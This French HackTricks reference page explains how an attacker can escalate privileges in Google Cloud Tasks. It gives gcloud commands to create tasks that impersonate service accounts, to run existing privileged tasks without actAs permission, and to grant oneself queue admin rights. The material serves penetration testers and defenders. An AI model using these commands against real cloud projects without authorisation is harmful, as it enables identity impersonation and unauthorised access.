GCP - Cloud Tasks Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Un attaquant disposant de ces permissions peut usurper d’autres comptes de service en crĂ©ant des tĂąches qui s’exĂ©cutent avec l’identitĂ© du compte de service spĂ©cifiĂ©. Cela permet d’envoyer des requĂȘtes HTTP authentifiĂ©es vers des services Cloud Run ou Cloud Functions protĂ©gĂ©s par IAM.

Créer une Cloud Task avec usurpation d'un compte de service ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

Un attaquant disposant de ces permissions peut exĂ©cuter des tĂąches programmĂ©es existantes sans avoir de permissions sur le compte de service associĂ© Ă  la tĂąche. Cela permet d’exĂ©cuter des tĂąches qui ont Ă©tĂ© prĂ©cĂ©demment créées avec des comptes de service Ă  privilĂšges plus Ă©levĂ©s.

Exécuter une Cloud Task existante sans la permission actAs ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

Le principal exĂ©cutant cette commande n’a pas besoin de la permission iam.serviceAccounts.actAs sur le compte de service de la tĂąche. Cependant, cela ne permet d’exĂ©cuter que des tĂąches existantes - cela ne donne pas la possibilitĂ© de crĂ©er ou modifier des tĂąches.

cloudtasks.queues.setIamPolicy

Un attaquant disposant de cette permission peut s’octroyer ou accorder Ă  d’autres principals des rĂŽles Cloud Tasks sur des queues spĂ©cifiques, pouvant potentiellement escalader vers roles/cloudtasks.admin qui inclut la capacitĂ© de crĂ©er et d’exĂ©cuter des tĂąches.

Accorder le rĂŽle Cloud Tasks admin sur une queue ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

Cela permet à l’attaquant d’accorder à tout compte de service qu’il contrîle des autorisations d’administrateur Cloud Tasks complùtes sur la file d’attente.

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks